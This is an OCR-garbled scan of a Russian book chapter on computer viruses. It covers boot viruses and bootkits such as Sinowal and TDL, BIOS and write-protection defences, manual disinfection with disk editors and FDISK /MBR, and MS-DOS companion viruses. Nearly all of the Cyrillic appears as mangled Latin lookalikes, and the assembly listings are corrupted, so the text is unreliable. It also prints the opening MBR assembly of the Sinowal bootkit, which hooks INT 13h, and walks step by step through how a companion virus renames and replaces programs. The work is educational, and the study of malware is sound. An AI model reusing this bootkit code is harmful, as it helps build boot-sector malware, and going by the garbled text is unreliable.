ckasg OS-9000. Bor npumep 0HOTO U3 JJOBOJIBHO COBPEMEHHbBIX ITPECC-
PEJI30B:

...OceHbio 2007 r. npuuno cooblyeHve, 4to Aldi, KpyrnHbIi pyUTe-
71ep KOMboTePoB B lepmaHum n daHum, noctaBuna okoso 100 Tbic.
HoyTbykoB Medion ¢ npeayctaHoBneHHovi Windows Vista n neictBy-
LM 3arpy304HbIM BUpPYyCcoM 13-neTHeri qaBHoOCTH... Bupyc Stoned.
Angelina 3anvceiBaeTcsi B r71aBHbIV 3arpPy304HbIVi CEKTOP... KomnaHum
MPULLIZIOCh OTO3BaTh 3aPaXkeHHbIe HOYTOYKU [1J151 IePEYCTaHOBKN CU-
CTEMBb!...

[TycTp 3arpy3ounslii BUpYC, 3apa3uBIINN BUHYECTEP C COBPEMEHHOU
OIlepaIlMOHHON CUCTEMOI, TToTepsieT COCOGHOCTh K AajibHelinemMy pas-
MHO’KEHIIO, OH BCE PABHO OCTAHETCS B 3aTPy30YHOM CEKTOPE ¥ OYyIeT IIpU
Ka’K/IOM BKJIIOYEHWW U TaHUS Ha MTHOBEHUE TI0JIy4aTh yipasienue. Eciu
Bupyc 6e3001/IeH, TO OH MOKET IIPOKUTH Ha MAIIHE MHOTO JIET U «yMe-
peTh» BMecTe ¢ Heil. Ecim ke B ero ajnropurtMme TpeycMOTpeHa Kakasi-
HUOY/Ib 3JIOBPEIHAs «IIYTKa», TO PAHO WK MO3MHO «4ac Y» HACTYIIUT, U
HOCJIeICTBUS OYIyT HENPEACKA3yeMbIMHU.

2.4.6. byTkuTbl

Erte opmn manc wa sxkussb B cpeie Windows 3arpy3odHbie BUPYChI TTOJTY-
YaI0T BMECTE C PA3BUTHEM «OYMKUMOG» — TaK HA3BIBAIOTCS TEXHOJIOTUN
BPEIOHOCHOTO MTPOrPAMMHOTO 00eCTIeUeH s, CTAPTYIONIETO KaK 3arpy304-
HBIIl BUPYC, HO 3aT€M BHEPSIONIETOCST B KOMIIOHEHTHI OTIEPAIIMOHHOM CH-
CTEMBI EIIIe /IO TOTO, KaK OHa 3arpy3usiack. Heuto mogo6Hoe mpoiesbiBasIm
B 1990-x rogax daitnoBo-3arpysounbie Bupychl. Ho mepBast «coBpemen-
Has» IporpaMMa Takoro kiaacca — Sinowal — mogsuiach B 2007 1. Ciycrs
TPH TOJIa X HACUNTHIBAJIOCH YK€ HECKOIBKO IECITKOB.
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«3apojibiiiii» OYTKUTOB MOMAAI0T HA KOMITBIOTEPHI TOJIb30BaTE/IEl He
[IPU ITOMOIIIX IUCKET, @ BHYTPH ITOYTOBBIX M CETEBBIX YEPBEii, BMECTE C 3a-
PaKEHHBIMM [TPOrpaMMaMM WJIM TI0CJIe BU3UTA HA «3aMUHUPOBAHHYIO»
UHTEPHET-CTPaHuILy. VIcrosb3ys Ty WM MHYIO YI3BUMOCTb B IIPOTPAMM-
HOM 06eCIIeueHN , OHU TIOJYYaioT TTOBBIIEHHbIE CUCTEMHbIE TPUBHIETUN
1 BMECTE C HUMU — BO3MOKHOCTb ITPSIMOI 3aIIMCH B CEKTOpa BUHYECTEPA.
Peub 0 uepBsx, y43BUMOCTSIX U 3apaKCeHUH [TPOTPAMM TIOHIET B COOTBET-
CTBYIOIIUX TJIaBax Haineil kuuru. [Toka ske 10cTaTOYHO UMETD B BUILY, YTO
Ha HAYAJILHOM 9Tarie cBoeil paboThl GYTKUT T€M UJTH WHBIM 00pa3oM 3ame-
HSAEeT OPUTUHAJIBHBIN 3arpy34nK U KJET TIePBOH Mepe3arpy3Ku KOMIIbIO-
Tepa.

[To cBOEMY yCcTpPOICTBY M HA3HAYEHUIO CTAPTOBbIN (PparMeHT TUITUYHO-
ro 6yTKuTa, pacionoxkennsiii B MBR BunuecTepa u moJydaiomuii yipas-
JIeHUe TI0cJIe TTepe3arpy3KHu, IOYTH HUYeM He OTJINYAETCS OT 3arPy304HO-
ro Bupyca. Bor, Hanpumep, Hauyasio koja 6yrkura Sinowal.

cli

Xor bx, bx

mov ss, bx ; YcTaHoBKa HOBOW 00nacTu. .
mov [ss:7BFEh], sp ©...noj cTek

mov sp, 7BFEh

push ds

pushad

cld

mov ds, bx

mov si, 0x413 OTKyCbiBaHue. . .

sub word ptr [si], 2 . ...2048 GainToB namaTu
lodsw

shl ax, 6

mov es, ax

mov si, 7C00h

xor di,di

mov ecx, 256 KonuposaHue cebs B. .

rep movsw ;... OTKyCaHHyl"  namaTb
mov ax, 0x202 ; CynTbiBaHWME B "OTKYyCaHHyl™ namaThb. .
mov cl,61 ;...0BYX CekTopos, HavuHag ¢ {0,0,61}
mov dx, 80h

mov bx, di

int 13h

Xor bx, bx

mov eax, [bx+13h=4] YCTaHOBKa HOBOTO. .

mov [bx+13h«4],word New_13 ; ... o6paboTuuka npepuiBaHug 13h
mov [es:Save_13+3], eax

mov [bx+13h=4+27, es

push es lepexon B. ..

push offset New_Position ;... OTKyCaHHyl  namaTb
retf
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[Moxasyii, TOBOJBHO XapaKTEPHBIM OTINYNEM OYTKUTOB OT «KJIACCH-
YECKUX» BUPYCOB ABJSETCS UTEHHE C JIUCKA IO TPYIIIBI CEKTOPOB.
B aToM cMmbiciie Sinowal.a, cauTBIBAIOIINI CHaYaMa TOJIBKO [[Ba CEKTO-
pa, gaBJigeTcs UCKJIIOYEHUEeM M3 IpaBuja. BipoueM, OH «I0YUTbIBACT»
CBOHU «XBOCT» C JINCKA YK€ TOTOM. B MPOTUBOIOJIOKHOCTD €My OYTKUT
Trup.a XpaHUT HA UCKE U CPa3y CUUTHIBAET B MaMATh 40 CEKTOPOB —
4To GoJIee XapaKTEePHO [k 3TOH PasHOBUIHOCTH «3apasbl». JlOBOJNBHO
<IIOIYJISIPHBIM» MECTOM [IJISI XPAaHEHUS «XBOCTa» SBJISIETCS 11yCTOe, He-
pa3MeyeHHOE TTPOCTPAHCTBO, PACIIONIOKEHHOE Cpa3y MocJie TOCAe/IHETO
JUCKOBOIO pasfeJia.

CraproBaB, CJIOBHO OObIYHBII 3arPy304HBIH BUPYC, OYTKUT U Jajibliie
BeeT cebst aHAJIOTHYHBIM 00Pa30M: «OTKYCHIBAET»> MaMsITh, CUMTHIBAET
B Hee € JIMCKA OCTATOK CBOEr0 KOJIAa M OPUTUHAJIBLHBIH 3arpy341K, IlepexBa-
ThiBaeT auckoBoe npepbiBanue «INT 13h» 1 mepemaer ynpasieHue opu-
TMHATBHOMY 3arpy3unky. «Kiaccuueckuii» BUPYyC HA 9TOM 3aKaHUYUBAET
MPOIIEYPY CBOEI YCTAHOBKH, a pPab0oTa 110 yCTaHOBKE GYTKUTA TOJBKO eIlle
HAYMHAETC.

[leo0 B TOM, YTO 3HAYMTEJbHAS YaCTh IMPOIlecca 3arpy3KH OIepariy-
OHHOI CHCTEMBI BBIMOJNHSETCS B «16-OMTOBOM» peKUME, U TPU 9TOM
HeoOXoMMBbIe (hallIOBbIe KOMIIOHEHTBI CYMTBIBAIOTCS B MAMSTH TIPH 110~
Mot «INT 13h». I[TockoabKy 9TO IpephIBalue mepexBadeHo OyTKUTOM,
OH MMeET BO3MOKHOCTH KOHTPOJUPOBATH TPOIECC 3arPy3KH Olepalu-
OHHOI cucTeMbl. B THIIMYHOM ciiydae OYTKHUT JOKUIAETCS CUMThIBAHIIS
B namaTh ¢parmentoB Moy «OSLOADER.EXE», pacronoxennoro
BuyTpu daitiia «NTLDR», u npsiMo B naMsATH BUIOU3MEHSIET UX COIEP-
JKUMOE TaK, 4TOObI OHU BMECTO KOMITOHEHTOB ONEPAIIMOHHON CHCTEMBI
CUUTHIBAJIH C JUCKA KOMIOHEHThI OyTKuTa. TAaKuM 06pasoM, K MOMEHTY,
KOI/la 3arpy34MK OIEPAllMOHHON CUCTeMbl IIPUMET pellleHue NepeiTn u3
«16-6uToBOrO» pexuMa B «32-0UTOBbII» WiIn «64-0UTOBBII», B IIAMATH
OyIyT HAXOAUTHCS U, COOTBETCTBEHHO, MOJIyUYaT yIpaBJieHue «(hasbIim-
BBbIe» KOMITOHEHTBI OTleparinoHHoi cuctembl. Uto onn moryt? Hampumep,
YCTaHOBUTD «JIMIIHUE» WU MOAU(DUIMPOBATD «POHbIEs IpaiiBepbl ol1e-
paiuoHHo# cucrembl. JI06ast MPUKJIAIHAS WJINH CUCTEMHAST IPOTPAMMA,
3amyIeHHas B TaKOW CUCTEMHOM cpe/ie, He CMOKET «yBU/IETb» TOCTOPOH-
HETO KOJIa HU B CBOUX (haiiiax, HU B CEKTOPaxX CBOET0 BUHUYECTEPA. JTO JKe
OTHOCHUTCS U KO MHOTHM aHTHBHpYcaM. Stealth-acdhdekr Topkectsyer, ne
TaK Ju?

Brpouem, ecaiu 3arpysurbes ¢ LiveCD, To 6yTkuT OyieT BUjieH Kak Ha
JIaIOHMU.
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2.5. CoseTbl Nno bopkbe c 3arpy304HbLIMUN
BUpYyCamMu

..Mt npobosanu u nemanv, u 6yxcu, nempoua,

u ewje umo-mo. Ho s ysepen, umo apghexmus-

HetuuM cpedcmeom NPomue HAWUx Myx OvLiu
GvL npocmuvle CIOHU.

A.u B. Crpyrarkue.

«YpesBwIyaitHoe MPONCIIIECTBIE

Bam MoskeT TIOKa3aThCsl CTPAHHBIM, HO JIajkKe B 2IOXY «pacIlBeTa» 3arpy-
309HBIX BUPYCOB — B Havase 90-x TooB XX Beka — HEKOTOPbIE CIIEIHAJIC-
TBI-BUPYCOJIOTH He TPUAABAIN M GOJIBIIOTO 3HaueHust. Tak, HapuMep,
snameHuTHIN /. H. Jlo3uHCKUIT Ha MPOTS/KEHUN Psifia JIeT HeOAHOKPATHO
BBICKA3bIBAJI MHEHME, UTO 3aTPY30UHBbIE BUPYCHI BBIMUPAIOT M CKOPO CO-
BceM rcuesHyT. Ilepsbie Bepeuu ero antusupyca AidsTest gaxe v He TIbI-
TAINCh 0OHAPY/KUBATEH 3aTPY30UHYIO «3apa3y». B KauecTBe OmMpaBIaHus
MOKHO 3aMETUTD, YTO caM JIOZMHCKHI 10 GOBITOMY CYETy He paccMar-
PHUBAJ CBOIO aHTUBHUPYCHYIO ITPOTPaMMy KaK KOMMePYeCKHil TIPOAYKT, 1
«KOBBIPITHCST» B Boot-cekTopax eMy OBLTO TIPOCTO HeMHTepecHo. Jlaxke
KOTJIa «II0 MHOTOUYHCJIECHHBIM TIPOCHOAM TPYASIIUXCSI» €My HPHUIILIOCH
BrtOunTH B AidsTest mporierypy 0OHapy/KEeHUS 1 yAATCHIS 3aTPy30THON
«3apPasbl», OH TOMBITATICS MAKCUMATBHO YITPOCTUTH cebe 3amauy. AidsTest
Jaske CaMbIX TTOCIeTHIX Bepenii (oT ocenn 1997 1.) He yaasnss BUPYCH 13
3arpy30YHBIX CEKTOPOB JUCKET, a BCETO JINIIb HEHTPATI30BBIBAT MX U3-
MEHEHMEM TIapbl GallToB.
Jlo neyenns:

Start:
jmp Virus

Virus:

Ilocie neyenns:

Start:
jmp Start

Virus:

B pe3yJibTaTe OCHOBHAZI 11€JIb OKa3bIBa/IaCh JOCTUTHYTA: IMCKETA ITepe-
cTaBaJa ObITh «pacCaHUKOM I/IH(I)EKHI/II/I». Ho ITOCKOJIbKY OCHOBHOE€ T€JIO
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BUPYCa OCTABAJIOCH B 3aTPY30YHOM CEKTOPE JIUCKETDI B HETPOHYTOM BUIE,
JIpyTyue aHTUBUPYCHI TO-TIPEKHEMY TPOIOJIKAIN PearupoBaTh Ha «3a-
pasy». Jla 1 HOpMasIbHas 3arpy3Ka ¢ TaKOii JIUCKEThI GblIa HEBO3MOKHA,
CUCTeMa TIPOCTO 3AIUKINBAIACD.

Emte ongna npumMevareibHast nCToprs ObLIa cBssana ¢ TeM, uro . H. Jlo-
3UHCKUI XPaHUJI CUTHATYPBI BUPYCOB BHYTPHU TeJia CBOETO aHTUBHUPYCA
AidsTest B nesammdposannoM Buze. M Hamo e ObLIO TAKOMY CIYYUTh-
Ccs1, UTO BKJIIOYEHHBIA B COCTaB ornepanuoHHoi cucteMbl MS-DOS v5.0
aHTUBUPYCHBIN TTakeT MSAV mcnosnb3oBas 7 IOMCKAa HEKOTOPBIX 3a-
IPY30YHBIX BUPYCOB B TOYHOCTH Te€ K€ MOCJIE/0BATEIBHOCTA CUTHATYP-
HbIX GaiiToB, 4yTo 1 Jlozuuckuii! B pesysbsrare oxun antusupyc (0T caMmoit
dbupmbl Micriosoft!) pery/sipHo o6Hapy:KUBaJI «3apasy» BHYTPU APYroro
antuBupyca (OT KAKOro-TO TaM «HUKOMY He U3BECTHOIO PYCCKOT0» ). ITO
MOCYKUIO MCTOYHUKOM MHOTOYMCJICHHBIX CJIYXOB O TOM, YTO aBTOPbI
OTEUECTBEHHDBIX aHTUBUPYCOB CIIEIMAIbHO-/IE PACIIPOCTPAHSIOT «3apa3ys
BHYTPHU CBOMX nporpamm. Kak vy npuckop6HO, HO CBUHBS BCETa U BE3JIe
HAXO/IUT I'P3b, & CTOPOHHUKU TEOPUU <«aHTUBUPYCHUKOB-BPEIUTEICH>
00011 3a06aBHBIIT Ka3yC TPAKTYIOT B Ka4eCTBe ee (TEOPUH ) JOKA3aTeIbCTBA.

Ho 6osiee-Menee rpaMOTHBIH (B KOMIIBIOTEPHOM CMBbICJIE) YEJIOBEK HE
MOKET He Y/IUBUTHCS: ¢ KaKol ctatu anTuBupyc MSAV mibiTaeTcs uckarthb
3arpy304HbINl BUPYC BHYTPU MIPOrpaMMHBIX (aiiioB, TO €CTh TaM, OTKY/a
3TOT BUPYC HUKOT/IA HE CMOKET CTapTOBATh?!

Ho ecyi OAXOUTD K OMUCAHHBIM UCTOPHSIM €3 U3JIUITHUX MOITHI,
cienyer npusHath, uto . H. Jlosunckuii ¢hopmanbHO GbLI 1IpaB B CBO-
€M He CJIUIIKOM Cepbe3HOM OTHOIIIEHUH K 3arpy304HbIM Bupycam. [leso B
TOM, YTO B [OJIABJISIONIEM OOJIBITUHCTBE CIyYaeB MPEIOTBPATUTD 3apasKe-
HIle TAaKOro poja «uHbeKIeil» (1 U3JIe9nThCs OT Hee) 060l Goree wiu
MeHee TPaMOTHBII MOJIb30BATENb CIOCOGEH CaMOCTOATENbHO Ge3 TIpuMe-
HEHUS aHTUBUPYCOB.

2.5.1. MeTopgbl 3aWwuTbl AUCKOB OT 3apaXeHus

MbI ysKe 3HAeM, 4TO TOABJsIIOIIee GOJBITMHCTBO 3arPy30UHBIX BUPY-
COB UCIIOJIB3YIOT [IJis1 MH(PUIIMPOBAHUS BIHYECTEPA CEPBUC, MTPEIOCTAB-
asgembiii ipotteypamu BIOS. Bot yske MHOTO JieT TporpaMMUCTbl (hrpM
Award, American Megatrends, Phoenix, Quadtel u xpyrux npoussoau-
tesneit BIOS BkiovyaioT B aTH 1potieaypbl (hparMeHTsl KO/, KOHTPOJIU-
PYIOIIEro 3alliCh B CUCTEMHBIE 06J1acT BUHUecTepa. ECiii yCTaHOBUTD B
nosioxkenne «Ony» («Bkiouenos) daaxok Virus Protection (uiaum Virus
Warning) 8 BIOS Setup, To 1ipu nomnbiTke U3MeHUTD cofepxkumoe MBR
H0JIb30BaTeNIb OYIET MpeAyIpexkieH 00 9TOM ¥ BU3YalbHO, U 3BYKOBBIM
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curnajnoM. [losb3oBaTesb OMKEH HAXKATh HA KJIABUILY «Y », €CJIU OH CO-
rJIaceH ¢ 9TUM M3MeHeHueM, 6o kiasuiry «N» B MPOTHBHOM CJydae.
Kowneuno, a10 He nanamest. Hanpumep, supyc Bored ymeer «cormaimarh-
csT» 3 [0JIb30BATEJIs, 3apaHee moMeriast B Oydep KiaBuaTypbl KOJ[ KJIaBu-
mu «Y». A Bupyc Palmad crocoben nucath nHGOPMALUIO B CTAPTOBBIIA
CeKTop BUHYecTepa, obpammasack Kk IDE-konrposrepy B o6xon BIOS (na
caMoM JieJie 9TO HecsoxHO0). Ho Takux BUPycoB Kpaiine masio. Topasno
HenpusTHee TOT (hakT, 4To peskuM Virus Protection Ha KoMIIbloTEpax y
OTPOMHOT0O KOJIMYECTBa MOJIb30BaTesell 1pocTo oTKJoveH. Eie pocan-
nee, yto B BIOS kommbiorepoB 2000—2007 ro10B 3TOT pPeKUM 4acTO OT-
CYTCTBOBAJI 110 IPUYNHE «HEAKTYATHbHOCTHY 3aTPY30YHBIX BUPYCOB 1 BO3-
POJIUIICST TOJIBKO TIOCJIE TIOSIBJIEHUST Oy TKUTOB.

Jlpyroii 04eBUIHbII, HO II0YEMY-TO PEIKO UCIIOIb3YeMbII CIIOCO0 IIPO-
THUBOZIENCTBUS 3apakeHUIO 3aTPY30YHBIMU BUPYCAMU — HITOPKA 3aIUThI
OT 3anucu Ha AuckeTax. VlcipaBHbII KOHTPOJLIE AMCKOBOJIA HU MIPH Ka-
KUX 00CTOATEILCTBAX He MPOMYCTUT BUPYC Ha 3alUIIEHHYIO TAKUM 00-
PA30M «TPEXTIONMOBKY» .

W HakoHell, caMblil TJIaBHbII CIIOCOO 3alllUThI: HAAO IIPOCTO He 3a0bl-
BaTh BBIHUMATDh JIMCKETBI M3 KapMaHa JMCKOBOJA BO BpPeMd €ro lepesa-
IPY3KHU WK BKJIIOYEHUS IUTAHNUS KOMIIBIOTEPA.

VBbI, OTIMCAHHBIE METO/IbI GECCUIIBHBI TPOTHB Oy TKUTOB. OT HUX JIydliie
BCETO 3alUIIATBCSA METO[AMU, PACCMOTPEHHBIMU B TJIABE, TIOCBAICHHON
CETEBBIM U TIOYTOBBIM YEPBSIM.

2.5.2. YpaneHue 3arpy304HbiX BUPYCOB U OYTKUTOB
«BPY4YHYIO»

Ecau Bce ke 3apakeHue 3arpy304HbIM BUPYCOM COCTOSIJIOCH, & Y BaC MO/
PYKOI HET aHTUBUPYCHOM ITPOTPAMMBbI, He CTOUT OT4anBaThecs. Ecam BbI
orlacaeTech, YTO 3apa’keH BUHYECTEP, 3aTPy3UTECh C <«UHUCTON» JMCKe-
ol wan LiveCD? u JuIs MOTOM BOCIOJNB3YHTECH TTPOTrpaMMaMH THTIA
Symantec DiskEdit niau Acronis Disk Editor.

IIpexxme Bcero ckonmmpyiiTe 3arpy30UHble CEKTOPa U MOA03PUTEIbHBIE
(bparMeHTBI IMCKOBOTO MPOCTPAHCTBA B (halisl: OHU BaM MPUTOASTCS JIJIS
MOCBLIKY BUPYCOJIOTaM (€CJIH BUPYC HOBBIIT ) HJIU JIJISI TOTO, YTOOBI «B CJIy-
yae 4ero» BEPHYTb UX Ha IIPEKHIE MecTa.

! KCT&TI/I, Koraga-To JaBHbIM-aBHO Ha HHTI/I,Z[IOfIMOBI)IX JIMCKETaX BMECTO HITOPKU

HCI0JIB30BAJIACH [TPOPE3b, KOTOPYIO CJIEI0BAIIO 3aKJIEUBATD CIIEIUATbHOI JINTI-
KOt 6yMasKKOii.
2 Jloist «JiedeHust» JIUCKET 9Ta MPEJI0CTOPOKHOCTD He 00s3aTe bHa.
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Jlasiee nMeliTe B BUJLY, 9TO 3JIEMEHTAPHO <HCIEJISIETCSI» JIUCKETA: CKO-
nupyiite BCIO MHOOPMAIUIO ¢ Hee Ha BUHUYECTED WJIH JPYTYIO JIMCKETY,
ordopmatupyiite ee kKomanaoii «FORMAT A:» unm «B:» u BepauTe nn-
dhopmaiuio Ha Mecto. OTMETUM, YTO TaKKe JEHCTBUS IPOTHBOIOKA3AHBI
B TOM CJlydae, €M KOMPOBaHue UH(MOPMAIIUH C TUCKETHI HA TUCKETY
MOZKET HApPYIIUTh CTPYKTYPY €€ COMEPKUMOro, a oHa (CTPYKTypa) Baxk-
na. Hampumep, crapbie Bepcuu mepeBopuuka Stylus mocrasisiiuch Ha
HEKOMUPYEMbIX «KJIIOUEBBIX»> JUCKeTax. He ciaydaiiHo aucTpubyTUBHbBIE
JIMCKETHI HACTOSITEJIHHO PEKOMEH/IYETCSI XPAHUTD € OTKPBITBIME IITOPKA-
MU 3aIUTHI OT 3AIUCH U CHUMATb 3alUTY JIUIIb HEIIOCPEICTBEHHO TIEPE]]
YCTaHOBKOH MPOTPAMMHOT0 06€ecriedeH st Ha 3aBeJOMO YUCTBIN OT BUPY-
COB KOMIIBIOTED, & TOTOM CPa3y K€ BOCCTAHABJIMBATH €€ (3aIlUTy) B IPEK-
HEM COCTOSTHUL.

Kpome Toro, Stoned-nogo6usie BUpychl 0e3 npobieM yaaasioTcs U3
MBR Bunuectepa komanmoit «FDISK /MBR»™.

B 6oJiee CI0KHBIX cilydasix pa3obparbecs B IPOU3OIIEAIIEM U BOCCTa-
HOBUTH status quo momoxker crapeii go6peii DiskEdit. Kak mpasuio,
JIOCTATOYHO OBIBAET HAWTH HA BUHYECTEPE COXPAHEHHYIO BUPYCOM WU
OYTKUTOM KOIIUIO 3aTPy304HOTO CEKTOPA U BEPHYTH ee Ha MecTo. OGHapy-
JKUTD €€ MOJKHO BU3YaJIbHO — 110 XaPAKTEPHBIM TEKCTOBBIM COOOIIIEHISIM U
curnatype «AA55h». Keratu, na0bl He 3aHIMAThCSI 9TUM HYAHBIM J€10M
B IMOKAPHOM MOPSIJIKE, JIydIlle 3apaHee CaMOCTOSITEIbHO COXPAHUTD KO-
[IUH 3arPy30YHBIX CEKTOPOB B B/Ie (DAIlIOB HA «CIIACATEJNBHOI» JIMCKETe
WJIH TIPOCTO B KOPHEBOM KaTaJlore BUHYECTEPA. 32 BAC 9TO MOTYT C/IEJIATh
Norton Utilities wim gaxe uncramiarop Windows, KoTopbLii Ipearaer
OPTaHU30BaTh «CIIACUTENbHYIO> JINCKETY BO BPEMsI YCTAHOBKHU OIEpallu-
oHHOI1 cuctembl. He oTkaspiBaiiTech OT 3TO BO3MOKHOCTH!

Hy u HaKOHEeIl, XO4eTCsl YCIOKOUTH CaMbIX JIEHUBBIX U TPYCJUBBIX:
JIazKe eCJIU Bbl OTKA3AJIMCH OT CO3/IAHUSI «CIIACUTENbHBIX> IUCKET 1 COXPa-
HEeHUs KON 3arPy34MKOB, BCe PAaBHO COBpeMeHHble Bepcun Windows o1-
CJIEKUBAIOT COCTOSTHIE 3arPy30UHBIX CEKTOPOB U B CJIyYae UX U3MEHEHsI
HE TOJIBKO TIPEAYIPEISAT BAC O BOSMOKHOCTU 3aPAsKEHUST BUPYCOM, HO U
BOCCTAHOBSIT UX TIPEKHEE coepkuMoe. [IpoTuB OyTKUTA 9TO HE TOjed-
CTBYET, 3aTO «OOBIYHBINA» BUPYC, CKOPEe BCEro, OyaeT HOOeKIeH.

U 9ro cranpapraas yruaura MS-DOS, Bxogsmas takxke B coctaB Windows

95,/98/ME.
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(bannosble BUPYChI
B MS-DOS

BosbimmHeTBO (110 HEKOTOPBIM OlleHKaM, 110 20 ThICSY) BCEX CYTIECTBYIO-
MIMX HA CBETE CAMOPA3MHOXKAIONIUXCS MPOTPaMM HAMKMCAHBI JIJIS OTiepa-
muonHol cuctembl MS-DOS [6]. 3a noaTopa JecATUIETHS aKTUBHON
aKCITyaTanuu oneparmonHast cucrema MS-DOS uccnenoBana Bupyco-
nucaresssMu GYKBaJIBHO BIOJIb 1 MOMIEPEK: MAJIO HANIETCS JTa3eek, B KOTO-
pbI€e He MBITATNUCH ObI TPOTUCHYTHCS CO3/AHHBIC UMU DJIEKTPOHHBIE «<MUK-
poopranusMbl». B ¢BOIO ouepenb, BUPYCOTIOTaM B MOTBITKAX U3JIOBUTH
MIPOCOYMBIIYIOCS «3apa3y» U 3aTKHYTh 3TU JIA3EHKHU TPUXO/IUTIOCH TIOTYAC
JIEMOHCTPUPOBATH TIOJIMHHbBIC Yy eca MTPOTPAMMUCTCKOM H300peTaTe h-
HOCTH.

Tem uHTepecHee W moJie3Hee TIPOCTEANTh 3a YBJIEKATETbHBIMU TIPU-
KJIIOUEHWSIMU ¥ KPOBOIIPOJIMTHBIMU CPAKEHUSIMU, PA3BOPAYMBABIITIMHU-
Cs1 B M3BUJIUCTHIX TIOJIyTEMHBIX JTAGUPUHTAX OMEPAIMOHHON CUCTEMBI
MS-DOS na npotsizkeHuu 1MoJayTopa gecsaTuierit, nipumepro ¢ 1986 1o
2000 1. XoTst GbI TOTOMY, UTO TPUEMbI BUPYCHBIX «aTakK» U aHTUBUPYCHBIX
«3alUT» TOH ATOXU TTOJTYIHJIH TIPOJIOJIKEHIE W Pa3BUTHE B HOBOM BEKe,
B an10xy Windows-BUpycos.

3.1. BUpyCbI-«CNYyTHUKN»

— Bot ne don Pymama, — obwsi6un don Paba. — Bo
camoseaney... Pymama Scmopckuii ymep namo
Jlem Ha3a0 u JeNCUm 6 PAMuIbHOM CKIene c60ez0
poda.

A.u B. Crpyraukue. <TpyaHo 661Tb 60rom»

B mmuoHckux leTeKTUBaxX MOKHO BCTPETUTHh HEMAJIO WJLIIOCTPAIUA
MIPOCTOH, MOHATHON U JIETKO peaJu3yeMON UNleU — UJIEU <IBOMHUKAY.
[ITupoko ucrosb3yeTcs OHA U B TPAKTUKE BUPYCOMUCATEIbCTBA.
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B ocnoBe yHKIIMOHUPOBAaHUS BUPYCOB-<«CRYMHUK08> (UX ellle HA3bI-
BAIOT BUPYChI-<«KOMNAHLOHDL ) JIEKUT IIPOCTON HPUHIUIL TPUKIATHAS
[IporpaMma nMeeT BO3MOKHOCTh 3aIyCTUTh HA UCIIOJTHEHUE JAPYTYIO [IPO-
rpamMmy. DTOT MPUHIIUII CIIPABEJIUB JIJisI OFPOMHOIO KOJIMYeCTBa orepa-
LUOHHBIX cucTeM, BKmodaa MS-DOS, Windows, knousr UNIX u mpouee,
1, 3HAUUT, BUPYChI HTOTO KJIACCa IPEACTABIAIOT co00i HauboJee oOImuii,
YHUBEPCAJIbHBIN THIT KOMIIBIOTEPHOII «3apasbl». BoT npumMepsl Toro, Kak
9Ta OIlepallysl BhIMOJIHSIETCS HA PA3JIUYHBIX SI3bIKAX ITPOrPAMMUPOBAHUS
U B Pa3JIMYHBIX OMEPAITMOHHBIX CUCTEMAX.

B MS-DOS Ha si3bike accembuiepa.

mov AH, 4Bh

mov al, O ;0 - 3arpysuTb W BHMNOJHATL MPOrpammy

mov ds, seg Path ; CermeHTHaa 4acTb afpeca WMeHu Nporpammsl
mov dx, offset Path ;. CMeleHne MMeHW nporpammbl

mov es, seg ParB ; CermeHTHas 4acTb 6noka napameTpos

mov bx, offset ParB ; CmeueHue 6noka napameTpoB

int 21h

jc Error ; Nepexon no owunbke

Path db "PROGRAM.EXE", 0

ParB dw 0 ; Cpepa 3anyckaemoi nporpammbl — KOMua Tekyuein
dw ? ; CMelweHne XxBOCTa KOMAHAHOM CTPOKK

dw ? ; CerMeHT XxBOCTaA KOMAHAHOW CTPOKK

dw 4 dup (0)

B MS-DOS na si3pike Cu:
systen(’ PROGRAM. EXE");
B MS-DOS na s13pike Ilackaiib:
Exec( PROGRAM. EXE', ');
B Windows na s3bike Cu:
WinExec( PROGRAM. EXE', SW_SHOWDEFAULT);
A Bor npumep g Unix-1ogo00HbIX CHCTEM:
pid_t q; char =e[]={"",""};
mif (fork()) wait(&q); else execv("./program”, e)

Paccmorpum  ob61iue MPUHIUTIBL PaBOTHI BUPYCOB-<«CIYTHUKOB» Ha
npumepe supyca Spartak I1.2000. Ajiropur™m paboThl 9TOr0 MPeACTaBU-
TeJIst «3JIEKTPOHHOI (hayHbI» CKJIAIBIBAETCS U3 CIIEAYIONINX [IAroB.

[Mar 1. [Touck 1emeit aJist 3apaskenust. B kauecTBe TAKOBBIX BBICTYIIAIOT
aiinet ¢ pactmmpennsimu «.COM» n «. EXE».
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MODE COM 29 911 05.05.99 22:22 MODE.COM <- 1-9 xepTBa
MEM EXE 32 338 05.05.99 22:22 MEM.EXE <- 2-4 xepTsa
VIRUS EXE 2 000 04.07.98 13:35 VIRUS.EXE <- BUPYC

3 dannos 64 249 bainT

[ar 2. [TepenmeHOBaHNE JKEPTBHI IO CIEAYIONIEMY TIPABUIY: PACIITH-
penue daiiyia mensiercst Ha «.EEE» na EXE-daiinos n Ha «. CCC» s
COM-aitnos.

MODE CCC 29 911 05.05.99 22:22 MODE.CCC <- 1-5 xepTBa
MEM EEE 32 338 05.05.99 22:22 MEM.EEE <- 2-5 xepTBa
VIRUS EXE 2 000 04.07.98 13:35 VIRUS.EXE <- BUpYyC

3 dainos 64 249 Gant

[IIar 3. Cosnanue Koy BUpyca CO CTaPbIM UMEHEM >KEPTBBI.

MODE COM 2 000 09.09.01 13:32 MODE.COM <- 1-9 konus Bupyca
MEM EXE 2 000 09.09.01 13:32 MEM.EXE <- 2-9 Konus BuUpyca
VIRUS EXE 2 000 04.07.98 13:35 VIRUS.EXE <- Bupyc

MODE cCC 29 911 05.05.99 22:22 MODE.CCC <- 1-9 xepTsa

MEM EEE 32 338 05.05.99 22:22 MEM.EEE <- 2-9 xepTBa
SPARTAK BAT 86 09.09.01 13:32 SPARTAK.BAT

6 ¢alnos 68 335 OanT

Taxm 06pa3oM, OCIIe HTOTO MIaTa B KATAJIOTE COMEPIKATCS KaK Hen3-
MEHEHHBIE, HO TIepeUMEHOBAaHHbIEe (haliTbl-’KePTBLI, TaK U KOIUK BUPYCa,
«y3ypITUPOBaBIIIE» MPABO HOCUTDH uyskue nMena. CoOCTBEHHO TOBOPS,
3apaxkenue cocrosioch. Eciy Temepb II0Jb30BaTesb IOIbITAETCA 3a-
MyCTUTD OJIHY U3 3aPA’KEHHBIX TIPOTPaMM (HAIIPUMeEp, 3aX04YeT O3HAKO-
MUTBCS C paclpe/ieJIeHIeM MaMATH IIPU TOMOTIN KoMaHbl «MEM» ), To
yIIpaBJieHUE MTOJYYUT W HAUHET BBITIOJIHATHCA JKUBYTIAsA B (haiine «MEM.
EXE» xomug Bupyca.

ITar 4. Byayuu 3amyiieH, BUPYC MepeMeHOBBIBAET cebst, M3BMEHSIST pac-
